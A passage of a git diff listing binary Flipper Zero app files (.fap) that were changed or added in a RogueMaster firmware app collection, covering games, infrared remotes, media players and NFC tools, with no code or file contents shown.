6d9d2317..808ae3e5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper_redux.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper_redux.fap index c2b6ab89..195ac0b1 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper_redux.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/minesweeper_redux.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/montyhall.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/montyhall.fap index 2f42e35b..a5c57e40 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/montyhall.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/montyhall.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/multi_counter.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/multi_counter.fap index 34691891..96fdff18 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/multi_counter.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/multi_counter.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/nu_pogodi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/nu_pogodi.fap index 14a278f3..a5ee2fa2 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/nu_pogodi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/nu_pogodi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pacman.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pacman.fap index 5b0ea41b..730bd153 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pacman.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pacman.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paint.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paint.fap index db205d4b..7c8eda50 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paint.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paint.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paper_plane.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paper_plane.fap index 1e0d1b3c..e7ee04ed 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paper_plane.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/paper_plane.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pong.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pong.fap index 78428b58..f779cc2b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pong.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/pong.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/questions.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/questions.fap index 7ce0bec9..c9dab849 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/questions.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/questions.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/race.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/race.fap index 6ffff3f3..6fc4964a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/race.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/race.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reaction_time.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reaction_time.fap index 6226f42c..c3ebfcac 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reaction_time.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reaction_time.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reactiontest.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reactiontest.fap index 07d3e9e5..6484cf11 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reactiontest.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reactiontest.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reversi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reversi.fap index 06a1bef8..e96646d2 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reversi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/reversi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors.fap index 82ebe412..bc76664d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors_2.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors_2.fap index 6cc502a6..1ce327a9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors_2.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rock_paper_scissors_2.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/roots_of_life.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/roots_of_life.fap index 18f055bf..71b01a5c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/roots_of_life.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/roots_of_life.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rubiks_cube_scrambler.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rubiks_cube_scrambler.fap index 64dc23d5..fee9d7af 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rubiks_cube_scrambler.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/rubiks_cube_scrambler.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/scorched_tanks.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/scorched_tanks.fap index b4f27319..9d02d143 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/scorched_tanks.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/scorched_tanks.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/secret_toggle.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/secret_toggle.fap index 04bbb9e8..774d2c13 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/secret_toggle.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/secret_toggle.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/simon_says.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/simon_says.fap index d4610050..f2692b76 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/simon_says.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/simon_says.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/slotmachine.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/slotmachine.fap index 09bb46a5..031e90d9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/slotmachine.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/slotmachine.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake.fap index 2063b613..cdd5b9a6 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake20.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake20.fap index 8336bb60..de668cbb 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake20.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/snake20.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sokoban.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sokoban.fap index 05ba915b..d4a872ae 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sokoban.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sokoban.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/solitaire.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/solitaire.fap index fc227bc0..78e39c12 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/solitaire.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/solitaire.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/space_impact.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/space_impact.fap index 48b3e016..f71b37d5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/space_impact.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/space_impact.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sudoku.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sudoku.fap index 4621f37f..dadeb19b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sudoku.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/sudoku.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/super_chip.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/super_chip.fap index 1c0f6a4d..e3ac3f19 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/super_chip.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/super_chip.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tama_p1.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tama_p1.fap index e4f9c5d3..26b30d0c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tama_p1.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tama_p1.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tanks.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tanks.fap index 361e5051..388e9fd9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tanks.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tanks.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tarot.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tarot.fap index 8d72c4c6..f113eec2 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tarot.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tarot.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris.fap index f6fa98ba..46c4b1de 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris_modern.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris_modern.fap index 6504d90d..bf60de8a 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris_modern.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tetris_modern.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tic_tac_toe_multi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tic_tac_toe_multi.fap index 10a4bbec..81c7a185 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tic_tac_toe_multi.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tic_tac_toe_multi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tictactoe.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tictactoe.fap index 400db82c..6b81cd01 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tictactoe.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/tictactoe.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/trex_runner.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/trex_runner.fap index ccf43752..7cf1990e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/trex_runner.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/trex_runner.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/ultimate_tic_tac_toe.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/ultimate_tic_tac_toe.fap index c059579a..ddb8bbff 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/ultimate_tic_tac_toe.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/ultimate_tic_tac_toe.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/vexed.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/vexed.fap index f60d0214..c5d9a308 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/vexed.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/vexed.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/videopoker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/videopoker.fap index 7ebf97be..517bc8c8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/videopoker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/videopoker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yapinvaders.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yapinvaders.fap index 0fe96624..44ae6323 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yapinvaders.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yapinvaders.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yatzee.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yatzee.fap index 42c20c95..c90e8ec9 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yatzee.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/yatzee.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zero.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zero.fap index e3221e89..960a96cf 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zero.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zero.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zombiez.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zombiez.fap index e9bf5cce..986ade05 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zombiez.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Games/zombiez.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/cross_remote.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/cross_remote.fap index 891ce937..f37455d8 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/cross_remote.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/cross_remote.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flip_rob.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flip_rob.fap index 25d92ef3..6c14dc19 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flip_rob.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flip_rob.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flippertag.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flippertag.fap index 1c8b28c1..d28aea9d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flippertag.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/flippertag.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/infrared.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/infrared.fap index a4043f99..c8507460 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/infrared.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/infrared.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_intervalometer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_intervalometer.fap index 2421643f..32c8e384 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_intervalometer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_intervalometer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_remote.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_remote.fap index 4049fd51..b563a292 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_remote.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_remote.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_scope.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_scope.fap index ca2d3577..b2cb24bf 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_scope.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/ir_scope.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/mitsubishi_ac_remote.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/mitsubishi_ac_remote.fap new file mode 100644 index 00000000..472835e0 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/mitsubishi_ac_remote.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xbox_controller.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xbox_controller.fap index 2332bf31..58bad9d3 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xbox_controller.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xbox_controller.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xremote.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xremote.fap index dfc18b95..ed9ff0d7 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xremote.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Infrared/xremote.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/dab_timer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/dab_timer.fap index a7563a15..36411f9c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/dab_timer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/dab_timer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/js_app.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/js_app.fap index f62aa631..0acaff6e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/js_app.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Main/js_app.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/bpm_tapper.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/bpm_tapper.fap index 2dcaa4b1..2b4f3f76 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/bpm_tapper.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/bpm_tapper.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/dvd_screensaver.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/dvd_screensaver.fap new file mode 100644 index 00000000..20499764 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/dvd_screensaver.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/flizzer_tracker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/flizzer_tracker.fap index 875f132e..e586e9f5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/flizzer_tracker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/flizzer_tracker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/fmf2usb_midi.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/fmf2usb_midi.fap new file mode 100644 index 00000000..cc7da511 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/fmf2usb_midi.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/metronome.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/metronome.fap index be1f67dd..393e809c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/metronome.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/metronome.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/midiocarina.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/midiocarina.fap new file mode 100644 index 00000000..72419fd5 Binary files /dev/null and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/midiocarina.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/morse_code.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/morse_code.fap index 10dc3ee3..9e8bed06 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/morse_code.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/morse_code.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_beeper.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_beeper.fap index 600b7138..807ee231 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_beeper.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_beeper.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_player.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_player.fap index 5176399f..2bc38e75 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_player.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_player.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_tracker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_tracker.fap index 3f1439de..9090197b 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_tracker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/music_tracker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/ocarina.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/ocarina.fap index acf6399a..eff1633f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/ocarina.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/ocarina.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam.fap index bc3d143a..e2934618 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_no.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_no.fap index 9a680bac..8b865346 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_no.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_no.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_wtf.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_wtf.fap index c5905866..4b88f222 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_wtf.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_wtf.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_yes.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_yes.fap index fabff83c..28005cf5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_yes.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/sam_yes.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/text2sam.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/text2sam.fap index f27c7842..c802ef91 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/text2sam.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/text2sam.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/tuning_fork.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/tuning_fork.fap index cd5d4ff0..a2d4abad 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/tuning_fork.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/tuning_fork.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/video_player.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/video_player.fap index 4e684f89..82af8a5c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/video_player.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/video_player.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/wav_player.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/wav_player.fap index 2e1d2556..dbfff6eb 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/wav_player.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/Media/wav_player.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfc_editor.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfc_editor.fap index 2da11eef..cbc05486 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfc_editor.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfc_editor.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey.fap index 6114d804..79f69e82 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mfkey.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mifare_fuzzer.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mifare_fuzzer.fap index e9738e2f..de82f809 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mifare_fuzzer.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/mifare_fuzzer.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc.fap index c9c18078..24c1ebfa 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_magic.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_magic.fap index 32f2b997..b26f341c 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_magic.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_magic.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_maker.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_maker.fap index 2e7cb1d1..a3a4d046 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_maker.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_maker.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_playlist.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_playlist.fap index aa4a2e91..52246e4f 100644 Binary files a/Applications/Custom (UL, RM, 